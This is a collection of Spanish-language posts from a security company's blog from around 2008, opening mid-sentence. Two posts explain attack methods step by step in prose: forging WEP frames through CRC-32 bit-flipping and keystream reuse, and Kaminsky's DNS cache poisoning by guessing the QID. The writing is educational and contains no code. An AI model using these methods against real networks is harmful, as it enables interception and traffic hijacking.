Existen ofuscaciones mucho más fuertes, como la disección de la lógica de la función en múltiples funciones, pero como ejemplo ésta es muy didáctica.

Mikel Gastesi
S21sec labs





Cómo (no) funciona WEP I

En este blog hemos hablado varias veces de la seguridad (o falta de ella) en redes inalámbricas. Ésta es la consecuencia de varios errores de diseño en el sistema de cifrado (WEP) que se propuso en el primer estándar 802.11. Seguro que todos vosotros sabéis que la clave de cifrado se puede obtener fácilmente e incluso muchos lo habréis hecho alguna vez (siempre con fines experimentales o educativos). Lo que voy a intentar explicar es qué errores se cometieron al diseñar WEP y como esto ha llevado a hacerlo completamente vulnerable.

En primer lugar, veamos como funciona WEP con una imagen:

En resumen, a los datos a enviar se les aplica un algoritmo para que el otro extremo pueda comprobar si el mensaje ha sido modificado por una tercera persona (Integrity Check Algorithm). En este caso, el algoritmo usado en CRC-32. El texto en claro junto con el resultado de este algoritmo se cifra haciendo un XOR con un flujo RC4 dando el texto cifrado que se enviará. Este flujo lógicamente se genera a partir de una clave que tiene una parte secreta (Shared key) que es la contraseña WEP y otra parte que se conoce como vector de inicialización (los 3 primeros bytes), cuyo objetivo es evitar que se repitan la claves y que se añade sin cifrar a las cabeceras de la trama a transmitir. Cuando el otro extremo recibe el paquete, lee el vector de inicialización que junto con la clave secreta le permite obtener exactamente el mismo flujo RC4. Se descifra el paquete, se calcula el CRC-32 de los datos y se compara con el que incluye el paquete.

Aunque RC4 es en principio secreto, un anónimo envió a una lista de correos de criptografía los detalles del algoritmo. A día de hoy dicho algoritmo se conoce como ARC4 y hasta ahora no se ha detectado ninguna diferencia en su comportamiento respecto al RC4 original. La idea se resume (mucho) en esta imagen:

Todo esto tiene varios problemas. Igual algunos de vosotros os habéis dado cuenta de que CRC32 es lineal respecto a la operación XOR. Esto significa que podemos modificar un bit de una trama cifrada que hayamos capturado y enviarla. En principio el receptor, tras descifrar el mensaje vería que el bit ha cambiado, y también que el CRC32 no coincide. La solución es muy fácil. En esta imagen vamos a invertir tan solo el bit marcado con un 1:

Efectivamente, si calculamos el CRC-32 de los cambios, tenemos los bits del CRC-32 original que hay que cambiar para que la trama sea válida.

Pero hay más decisiones incorrectas. Por ejemplo, el vector de inicialización sirve para no utilizar siempre la misma clave en el algoritmo RC4. Si no se hiciera así, sería fácil adivinar el flujo RC4 con el que se cifra tras observar unos cuantos paquetes. Cambiando el vector de inicialización para cada trama, ese flujo es diferente cada vez. Sin embargo, el estándar no dice nada acerca de cómo debería cambiar. De hecho, ni siquiera obliga a que realmente cambie. Es opcional. Incluso en el mejor de los casos, la longitud es de solo 24 bits (más de 16 millones de valores posibles), por lo que si por ejemplo elegimos el vector al azar, con menos de 5000 paquetes, la posibilidad de que un vector de inicialización se repita llega al 50% (la paradoja del cumpleaños). Acumulando varios paquetes con vectores repetidos, lo más seguro es que estos tengan peticiones de ARP, paquetes ICMP o cabeceras IP y TCP que tienen una estructura conocida y muy regular. Con varios paquetes es estadísticamente muy posible que lleguemos a deducir el contenido (o una parte importante) de estos paquetes y el flujo RC4 que se ha usado para cifrarlos. Por ejemplo, los paquetes ARP son especialmente sencillos de reconocer ya que tienen un tamaño fijo y una estructura que prácticamente no cambia de uno a otro.

Así que de momento podemos llegar a ver partes de los mensajes y saber algunos fragmentos del flujo de cifrado. Esto es muchísimo más de lo que deberíamos saber si el sistema de cifrado fuera bueno. Ahora podemos generar un paquete, cifrarlo con la parte del flujo RC4 que hemos obtenido y enviarlo con el vector de inicialización correspondiente. El resultado es una trama correctamente cifrada, sin conocer la clave, que podemos emitir y los usuarios legítimos entenderán y aceptarán como válida.

Esto es el principio. Como ya sabéis, el sistema WEP tiene muchas vulnerabilidades aún más graves que nos permiten descifrar tramas que hemos capturado, calcular flujos RC4 de hasta 1500 bytes o lo más grave, obtener la clave de cifrado usada, pero sobre eso hablaremos en el próximo post.

Patxi Astiz
S21sec labs






Guerras del siglo XXI

Hoy vamos con un tema de rabiosa actualidad: el reciente conflicto entre Rusia y Georgia.

Probablemente no todo el mundo sabrá que semanas antes del inicio de las hostilidades entre rusos y georgianos, otro tipo de actividades, también de carácter hostil, se han venido realizando por parte rusa, probablemente motivadas por la tensión diplomática creciente entre ambos paises.

En Julio de este mismo año, unas cuantas semanas antes de la "intervención" rusa actual, la página web del presidente de Georgia cayó a causa de ataques DDoS de hackers rusos. A partir de aquí, en diversos foros rusos se sucedió un debate sobre si los ataques DDoS debían de continuar y extenderse a otros objetivos georgianos, lo cual inevitablemente situaría la opinión pública en contra de los rusos. Todas las especulaciones y discusiones de estos foros rusos (de los que incluso se pueden descargar aplicaciones para realizar los ataques DDoS) finalmente se han materializado en un ataque coordinado a las infraestructuras de Internet de Georgia.

Hasta ahora, diversos sitios del gobierno de Georgia se han visto afectados por ataques DDoS, lo que ha forzado a las autoridades Georgianas a mover todos los sitios de Internet del gobierno a servidores localizados en Estados Unidos, siendo el caso más llamativo el del ministro de exteriores de Georgia, el cual ha tenido que crear una cuenta en Blogspot para poder transmitir información de lo que está ocurriendo en Georgia en tiempo real.

Pero, ¿quien está detrás de todo esto?. ¿La RBN? Algunos sitios apuntan hacia una agencia rusa de espionaje representada por tres siglas...
Sea quién sea el que esté detrás de este ataque, lo más llamativo de este hecho es ver cómo Internet se ha convertido en un frente de batalla más en una situación de guerra.



Asier Marruedo
S21sec labs





Beijing 2008 ... otra inspiración para el fraude on-line

Los juegos Olímpicos de Pekin 2008 que comenzaron el pasado viernes 8 de Agosto son un gran evento deportivo, y como no podía ser de otra forma, un evento internacional de tal magnitud tenía que ser una inspiración para los ciber-delincuentes.


El envío de spam relacionado con los juegos olímpicos de Pekín ya viene de lejos. Recordamos que junio se detectaron envíos de spam con asuntos como "Beijing Olympics Cancelled" en los que supuestamente se informaba de la suspensión de los juegos olímpicos y se incluía un enlace en el que podíamos obtener más información. Obviamente al visitar ese enlace no conseguíamos mas que infectar nuestro ordenador con malware. Este correo es un ejemplo, pero ha habido y seguramente seguirá habiendo otros muchos similares con asuntos relacionados con los juegos olímpicos hasta que estos finalicen.

Por otra parte, también se han detectado ataques de phising relacionados con los juegos olímpicos. Recientemente se ha cerrado y se está investigando una página web que imitaba a la página web oficial de Beijing 2008 y a través de la cual se simulaba la venta de entradas. El sistema era original e incluía una característica que hasta ahora no era habitual en este tipo de webs. A la hora de realizar la compra de las entradas, se incluía un mecanismo de "seguridad" mediante una llamada telefónica. El usuario debía llamar a un número de teléfono en el que se le facilitaba un código de "seguridad" que debía introducir al realizar la compra. Este mecanismo, sin duda, daba a los usuarios una falsa sensación de que la página era más confiable, y de esta forma, los ciber-delincuentes no sólo lograban hacerse con los datos de las tarjetas de crédito sino que además conseguían unos ingresos extra mediante la llamada de teléfono.

Para minimizar el riesgo de ser víctima de este tipo de campañas deberíamos seguir las recomendaciones generales evitando abrir cualquier archivo adjunto o seguir los links que se incluyen en ellos a no ser que estemos 100% seguros de que el email recibido es legítimo.

Guzmán Santafé
S21sec labs





One world, one Internet

Although China recently has the biggest among of Internet users worldwide, the traffic is restricted by "The Great Firewall of China" [1] [2]. Basically it is a content filter based on a blacklist to prohibit access to various web sites. Regarding to recent news the access to the Internet - at least for international reporters at the Olympic Games - is still not unfettered like promised seven years ago.


The Chaos Computer Club in Germany recently has started another media campaign for fighting the Internet black holes and free access to the Internet for everybody. Therefore they released the "Freedom USB Stick". It is an USB Memory Stick which contains the CCC version of the TOR-Browser for USB Sticks which can be downloaded here .
It is an easy-to-use solution which obfuscates web-traffic including the final destination - but only until the end of the TOR-Network! More information about the stick can be found here.

Clemens Kurtenbach
S21sec labs





Sin explorer...

Puede ser cuestión de frikismo, cuestión de no querer consumir recursos que no utilizaré o cualquier otra cosa. El tema es que desde hace algunos años, me he acostumbrado a no trabajar con el tan famoso explorer.exe en mi sistema Windows y únicamente uso la shell de trabajo cmd.exe y las aplicaciones externas que instalo.

Este post, mostrará como personalizar windows para que no haga uso en el arranque del explorer.exe y sí de una shell de comandos, también mostraremos algunos ficheros que nos ayudarán a prescindir de nuestro escritorio como son los ficheros MSC (Microsoft Management
Console) y CPL (Control Panel Files). Estos ficheros la mayoría de los usuarios no los conocen y únicamente se basan en utilizar el ratón y dirigirse hasta las herramientas administrativas, servicios o cualquier otro icono que se relacione con la herramienta a utilizar.

Para iniciar, comenzaremos por comentar como podemos prescindir de nuestro escritorio y con ello del explorer.exe. Para realizar este proceso, tenemos dos vías posibles:

1.- Accederemos a la Directiva de Grupo

. #gpedit.msc

. A continuación accederemos a:
Configuración de usuario
Plantillas administrativas
Sistema
Interfaz de usuario personalizada


. Una vez colocados en "Interfaz de usuario personalizada",
procedemos a su habilitación, añadiendo el archivo de la interfaz que
usaremos: cmd.exe


2.- Se basa en hacer a mano la modificación en el registro
de Windows (regedit). Para ello hay que localizar la cadena que
permite habilitar los inicios de sesión en Windows con el cmd.exe

. Abrir Regedit ( #regedit )

. Identificar en el registro de Windows, la siguiente cadena:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System

. Verificar si existe la clave System, si no existe, crearla con:
Botón derecho, Crear cadena - Nombre System

. Dentro de la clave System, crear un nuevo valor alfanumérico
Nombre: Shell, Datos: cmd.exe

. Reiniciar Windows y tras iniciar la sesión con nuestro usuario únicamente se arrancará nuestra shell de comandos cmd.exe

Una vez tenemos nuestro sistema sin el escritorio de Windows y por lo tanto sin el explorer.exe, debemos de saber como acceder a las distintas herramientas que conforman nuestro sistema windows.

A continuación, se muestran los ficheros .msc y .cpl que podemos encontrar en nuestro sistema y que nos permiten acceder directamente sin la necesidad de hacer uso de: Menú de Inicio, Programas, Herramientas Administrativas, etc, etc...

* Nota: (Según la versión del sistema operativo contaremos con todos o solo algunos de los ficheros que comentaremos).


.- Ficheros MSC

certmgr.msc --> Certificados
ciadv.msc --> Servicio de Index Server
comexp.msc --> Servicio de componentes
compmgmt.msc --> Administración de Equipos
devmgmt.msc --> Administrador de Dispositivos
dfrg.msc --> Desfragmentador de Disco Duro
diskmgmt.msc --> Administrador de Discos
eventvwr.msc --> Visor de Sucesos
fsmgmt.msc --> Carpetas Compartidas
gpedit.msc --> Directiva de Grupo
lusrmgr.msc --> Usuarios Locales y Grupos
ntmsmgr.msc --> Medios de Almacenamiento extraibles
ntmsoprq.msc --> Solicitudes del Operador de Medios de almacenamiento
extraibles
ntmsoprq.msc --> perfmon.msc --> Rendimiento
rsop.msc --> Conjunto Resultante de directivas RSoP.htm
services.msc --> Servicios
wmimgmt.msc --> Windows Management Infrastructure (WMI)
secpol.msc --> Configuración de Seguridad Local

- Support tools

adsiedit.msc --> Editor de bajo nivel para Active Directory
sidwalk.msc --> Sid Walker


.- Ficheros CPL

access.cpl --> Opciones de Accesibilidad
appwiz.cpl --> Agregar o quitar Programas
desk.cpl --> Propiedades de Pantalla
hdwwiz.cpl --> Asistente para agregar hardware
inetcpl.cpl --> Propiedades de Internet
intl.cpl --> Configuración Regional y de Idioma
irprops.cpl --> Vínculo Inalámbrico
joy.cpl --> Dispositivos de Juegos
jpicpl32.cpl --> Panel de Control de Java Plug-In
main.cpl --> Propiedades de Mouse
mbllnk.cpl --> AvantGo Connect
mmsys.cpl --> Propiedades de dispositivos de sonido y audio
ncpa.cpl --> Conexiones de Red
nusrmgr.cpl --> Cuentas de Usuarios
nvtuicpl.cpl --> Administrador del Escritorio NView
nwc.cpl --> Cliente de servicio de NetWare
odbccp32.cpl --> Administrador de Orígenes de Datos ODBC
plotman.cpl --> Plotters
powercfg.cpl --> Propiedades de Opciones Energía
sapi.cpl --> Propiedades de Voz
styleman.cpl --> Plots Styles
sysdm.cpl --> Propiedades del Sistema
telephon.cpl --> Opciones de Teléfono.y Modem
timedate.cpl --> Propiedades de fecha y hora
wuaucpl.cpl --> Actualizaciones automáticas

Una vez conocemos los ficheros para poder movernos a través de nuestro sistema, faltaría acceder a las aplicaciones que vamos instalando en nuestro sistema. Esto lo podemos conseguir de distintas formas aunque aquí comentaré únicamente dos vías.

1.- La primera es la mas utilizada, recordar como accediamos a nuestras aplicaciones cuando no disponiamos de una interaz X, fácil no? Identificar donde se encuentra la aplicación, y hacer uso del ejecutable que presenta la aplicación.

. Ejemplo con Microsoft Word
# cd \
# cd "Archivos de programa"
# cd "Microsoft Office"
# cd OFFICE11
# Winword.exe

2.- La segunda opción se basa en agregar la ruta de nuestras aplicaciones seguidas de ; al PATH dentro del registro de windows (regedit). Una vez agregado, solo tendremos que realizar la
llamada correspondiente de la aplicación que hayamos introducido.

Ejemplo:
. Agregando el path a:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager\Environment

. Accederemos al valor: Path y SIN BORRAR NADA,
escribiremos ;Seguido de la ruta de la aplicación

Muestra: XXX;F:\Archivos de programa\Microsoft Office\OFFICE11\

. Una vez agregada las distintas rutas, debemos de
reiniciar para que tengan efecto en nuestro sistema.

. Una vez reiniciado, únicamente nos quedará llamar a la
aplicación:
# excel

X.- Los siguientes métodos os lo dejo a vuestro activo más importante, vuestra mente y con ello, la imaginación, que como decía Einstein:

"Es más importante la imaginación que el conocimiento".

Para finalizar, hay que destacar que algunos procesos y servicios requieren forzosamente de explorer.exe, esto significa que en más de una ocasión, nos podemos encontrar con la obligación de utilizar el explorer.exe y con ello multitud de servicios y aplicaciones que normalmente no se nos cargaban de inicio.

*Nota: Comentar que gran cantidad de malwares, basan su funcionamiento o punto de infección a través del proceso explorer.exe y si no lo
tenemos cargado pues...

Una vez logueados...




Francisco Caballero
S21sec Mexico





BlackHat Las Vegas 2008


Como comentamos al tratar la famosa vulnerabilidad de DNS, una pequeña avanzadilla de S21sec estamos en Las Vegas para seguir de cerca qué se cuece tanto en BlackHat como en Defcon en esta edición de 2008. La verdad es que es imposible comparar la BlackHat de Europa con la de Las Vegas, no tiene nada que ver, tanto en el número de charlas, número de asistentes, o el ambiente que se respira.

Fiel a la idiosincracia de Las Vegas, la BlackHat se celebra en uno de los mejores hoteles, el Caesars (muy cerca de los famosos The Mirage, Bellagio, Flamingo, ...). Es un hotel gigantesco donde los miles de asistentes a BlackHat pasan desapercibidos y disponen de todo tipo de amenidades para pasar el tiempo. A diferencia que en Amsterdam, que es más una pequeña reunión de 100-200 personas, aquí sí que hay multitud de stands de patrocinadores (Google, Microsoft, Core, Sunbelt, IO Active, WhiteHat Security, Saint, ...) e incluso se pueden comprar camisetas, tazas o pegatinas de BlackHat y un montón de libros de Seguridad.

Durante el día de hoy, la conferencia estrella ha sido, como se preveía, la de Dan Kamisky y su famosa vulnerabilidad de DNS: la sala estaba a rebosar y la gran mayoría de asistentes estabamos ahí para ver qué iba a contar, aunque ya le estropearon la sorpresa hace algunas semanas. En realidad ha dedicado poco tiempo a comentar la vulnerabilidad (tampoco se puede hablar mucho más) para luego enumerar muchas de las amenazas que puede haber al poder 'controlar' las respuestas de un servidor DNS, y quejarse de muchas de las realidades actuales, como el poco uso de SSL, la utilización de algoritmos débiles (MD5, ...), la poca predisposición de los usuarios, la mala implementación de algunas características en plugins como Java o Flash que ayudan a que se pueda cometer cualquier delito, lo fácil que es hacer que alguien solicite una petición de DNS para luego utilizar su ataque (desde el browser, SMTP, etc.).

La vulnerabilidad, rápidamente explicada, se basa en 4 puntos principales:
  1. El uso de UDP por parte del protocolo DNS, con lo que es fácilmente spoofeable (aquí es donde tendríamos que hablar de egress filtering, que no muchos operadores lo implementan)
  2. El uso del mismo puerto origen por parte del servidor DNS (a excepción de algunos como el djdbns), con lo que las probabilidades de acertar son mucho mayores. Recordemos que el objetivo que tenemos es acertar el QID (ID de la transacción). Este QID es de 16 bits con lo que tenemos 65535 probabilidades. Si realmente el puerto origen fuera aleatorio, las probabilidades de acierto serían muchas menos, puesto que pasamos de tener 1 puerto origen, a 65535 puertos origen probables, con lo que tendríamos que acertar no sólo el QID, sino también el puerto origen (hablaríamos de unos 32 bits (16+16) en vez de 16 bits).
  3. El uso de 16 bits en el QID
  4. El problema del huevo y la gallina. Cuando pedimos conocer que dirección IP tiene www.s21sec.com a nuestro servidor DNS, éste (si no lo tiene cacheado) pregunta primero al .com, que le dice que pregunte a ns1.s21sec.com, puesto que el servidor que maneja .com no tiene ni idea del dominio s21sec.com, sólo sabe que hay que preguntar a ns1.s21sec.com. ¿Pero cómo sabemos que dirección IP tiene ns1.s21sec.com? Aquí es donde entra a juego los RR adicionales, que básicamente nos dice que ns1.s21sec.com tiene la dirección IP 212.31.206.66.
Conjugando estos cuatro puntos, ya es cuestión de tener suerte (se tardan unos 10 segundos), y hacer que la víctima empiece a solicitar direcciones para ver si en alguna acertamos el QID. Es decir, hago que la victima empiece a pedir aaaaaaa.dominiomalicioso.com, aaaaaab.dominiomalicioso.com, así hasta que en alguna de ellas, por probabilidad, acertemos el QID (recordemos que son 65535 posibilidades). En la charla de Dan, ha comentado que sólo intenta las 200 primeras, y sino pasa al siguiente dominio malicioso. Cuando acertemos el QID, y podamos entonces spoofear la respuesta del servidor DNS, en vez de decir que cxdfeag.dominiomalicioso.com (suponiendo que es este el que hemos acertado) es la dirección x.y.z.w, le digo que no sé que dirección es, pero que puede preguntar a www.s21sec.com cuya dirección es 6.6.6.6, con lo que habremos podido envenenar la cache de ese servidor DNS, y todos sus clientes que pidan por www.s21sec.com, serán dirigidos a 6.6.6.6.

También ha comentado que cuando publicó que tenía una vulnerabilidad, en 51 horas un sueco le envió todos los detalles de la misma, así como muchas personas le han enviado nuevas ideas para explotar mejor esta vulnerabilidad (de hecho, ha dado las gracias y nombrado a varias personas).

Según ha comentado, mucha gente ha parcheado ya sus servidores DNS, pero todavía quedan muchos que no. Aunque como comentamos, hay que comprobar bien el parche puesto que algunas veces (en ciertas plataformas) crean problemas de eficiencia en los servidores DNS. Y realmente no tenemos que olvidar que también sufren el mismo problema los servidores internos de las empresas, puesto que hay que recordar que muchos de los ataques que reciben las empresas provenienen de empleados internos.

Todavía no está la presentación en la página de BlackHat, pero sí que se pueden descargar de la página de Dan. También es interesante algunos datos que nos dan los de Arbor sobre algunos ataques ya detectados. Lo que sí que parece es que si el dominio que se quiere spoofear está cacheado en el servidor DNS, hay que esperar a que desaparezca de la cache (TTL), no hay ninguna forma de forzar meter el dominio spoofeado.

En resumen, la charla ha estado bien, pero como casi siempre, ha faltado una pequeña demostración (ha comentado que tiene una herramienta que se llama DNSRake para realizar el ataque, pero será similar a lo que ya hay por Internet), puesto que los Powerpoints muchas veces se quedan un poco teóricos.

David Barroso
S21sec e-crime





"Propicios días, agente Huxley"...

... u otra frase de cualquier otra película futurista, donde el ordenador reconoce a la persona que le esta hablando o simplemente sentada delante. El reconocimiento facial o de voz ya puede ser usado para identificarnos y autentificarnos en nuestros ordenadores, aparte del lector de huellas introducido hace unos años o el login/password de toda la vida.

Hasta ahora si existía software de reconocimiento facial que permitía estas operaciones pero exigía una capacidad de proceso al alcance de pocas máquinas y no siempre acertaba, obligando a hacer varios intentos.

Pero la revolución para poder traer este método al alcance de todos no ha sido el aumentar la potencia de los procesadores ni usar gpus de alto rendimiento, si no los avances continuos en algoritmos de identificación de rostros. Por ejemplo, hace unos años se usaban transformaciones matemáticas para encontrar las pupilas, y partir de ahi buscar otros elementos del rostro como la línea de pelo, punta de la nariz, labios, etc y medir sus distancias o aplicar métricas de similitud. Ahora la parte principal se realiza mediante la captura de varios frames (imágenes que pertenecen a una misma secuencia) del rostro e intentar recrear una imagen 3-D del mismo usando una malla cuadriculada que se va deformando hasta acoplarse al rostro. Después se aplican las transformaciones geométricas podemos localizar los puntos o regiones de interés que definen un rostro y se comparan con las bases de datos para decir si o no.

Asi, cada vez se hace más con menos y cada vez de una forma más extendida. Por ejemplo el Instituto Universitario de Investigación sobre Seguridad Interior junto con el FRAV, realizó una serie de pruebas de software en el aeropuerto de Barajas sobre reconocimiento facial. El informe se hizo público en 2006 y muestra la usabilidad de estos sistemas a gran escala.

Eduardo Morrás
S21sec labs





Solución al reto 5

Tras 3 semanas, y con dos soluciones recibidas, presentamos los detalles del último reto.

Esta vez no se trataba de ingeniería inversa, como venía siendo habitual. Para empezar, se debía analizar el post en busca de algo "poco habitual", que en este caso se trataba de la imagen del logo de S21sec.

Una vez extraída la información guardada en el fichero, que correspondía con un enlace para descargar otro fichero, había que identificar su formato y descomprimirlo varias veces. Tres de ellas estaban comprimidas con contraseña, todas ellas muy cortas, que pretendían servir como pistas para la parte final del reto.

El archivo resultante es un fichero de texto que contiene una posición de ajedrez en notación FEN en la que, junto con las pistas extraídas de las contraseñas (blanco, fin, cinco), había que conseguir un mate en cinco movimientos.



Tenemos dos soluciones de mano de Rubén y Jaime, que os podeis descargar de aquí:

- Solución de Rubén
- Solución de Jaime

Podemos ver que cada uno tiene su estilo:
La solución de Rubén, además de estar muy bien presentada con un mindmap o mapa mental, muestra las pruebas realizadas, etc. Finalmente llega a la solución de la partida de ajedrez, aunque omite ciertos detalles como los movimientos adecuados.

Por otra parte, la solución de Jaime muestra claramente los pasos utilizados para resolver cada paso del reto, cada comando ejecutado, pero no nos indica las diferentes pruebas realizadas para finalmente encontrar el camino correcto.

Para decidir el ganador del libro, hemos creado un jurado de cinco personas y, por un apretado 3-2, el vencedor ha sido Jaime, siendo éste el segundo libro que se lleva.

Enhorabuena a los dos y gracias por participar.

Mikel Gastesi
S21sec labs





DFS: realidad Y ficción


Dogoprudnyy, 28/12/2008

Terrence Williams acaba de llegar a Sheremetyevo, el aeropuerto Internacional de Moscú, procedente de Washington. Tiene prevista una cita con un agente del KGB. En su portátil, con Windows Vista instalado, lleva documentación importante acerca de una organización mafiosa dedicada al robo de datos personales a través de Internet. Terrence pertenece a una importante compañía de seguridad informática y pretende la detención de esta organización mafiosa, llamémosla OMR (Organización Mafiosa Rusa).

En el aeropuerto, un agente a sueldo de la OMR, los cuales tienen sospechas sobre lo que hará Terrence en Rusia, ha inspeccionado el ordenador en busca de información, de manera totalmente ilegal, como ocurre en otros muchos aeropuertos del mundo, a pesar de que haya gente que lo vea un despropósito y luche contra ello. De cualquier modo, en este caso no ha sido posible, porque nuestro precavido "héroe" lo tiene cifrado con una buena contraseña y no ha sido posible acceder al sistema de ficheros.

Terrence se dirige a Dogoprudnyy, al norte de Moscú, para mantener la cita. En el camino, varios miembros de la OMR asaltan el taxi que lo lleva y le obligan a detenerse a medio camino. Bajo amenazas, Terrence no tiene otra opción que darles la contraseña de cifrado, a pesar de insistir que es un empresario en viaje de negocios. Cuando estos acceden al ordenador, observan que su "Windows XP" no posee más información que la relativa a una compañía ficticia dedicada a las telecomunicaciones. Terrence, una vez más, ha sido muy hábil y ha usado DFS (Deniable Files System), lo que permite tener un sistema operativo cifrado, y sin posibilidad de ser visto, dentro de otro.


¿Cómo? Hay herramientas en el mercado que se encargan de ello. Terrence tiene su sistema operativo con los datos confidenciales, y mediante TrueCrypt crea una partición de sistema ¡escondida! De este modo, ante un viaje arriesgado como el que ha hecho, su portátil es capaz de aceptar dos contraseñas. Una le lleva al sistema que posee los datos confidenciales. La otra le lleva a un sistema operativo igual o distinto en el que no existe información confidencial, o si existe, es engañosa.

Terrence ya se cree a salvo, pero dentro de la OMR hay alguien que descubre que tras ese sistema operativo hay otro oculto, y le torturan hasta que suelta la contraseña real. Entonces la OMR descubre los documentos, los borra, mata a Terrence y nadie come perdices, porque a los de la OMR les gusta el pavo!


Aclaraciones:

Todo esto ocurre un 28 de diciembre...

Terrence Williams y la OMR no existen, que yo sepa.

Estas cosas de espiar portátiles como si fueran maletas solamente pasan en los aeropuertos de algunos países obsesionados en la seguridad.

DFS está pensado para casos especiales o de gente muy obsesionada con la seguridad.

Sí, XP es la tapadera, y Vista su volumen de sistema confiable.

Para que alguien compruebe que tu portátil tiene un volumen escondido tiene que currárselo mucho, no vale un viajecito y un robo de un ordenador, y quien en realidad lo ha descubierto está en el eje del bien.

Si usas TrueCrypt 5.1 o inferior con volumen escondido... actualízate, la versión 6 parece que no permite comprobar si hay volumen oculto.

¡Ahhh, y no uses DFS para el ejemplo de la wiki!


Miguel López-Negrete
S21sec labs






(+34 902 222 521)


24 horas / 7 días a la semana



© Copyright S21sec 2012 - Todos los derechos reservados


login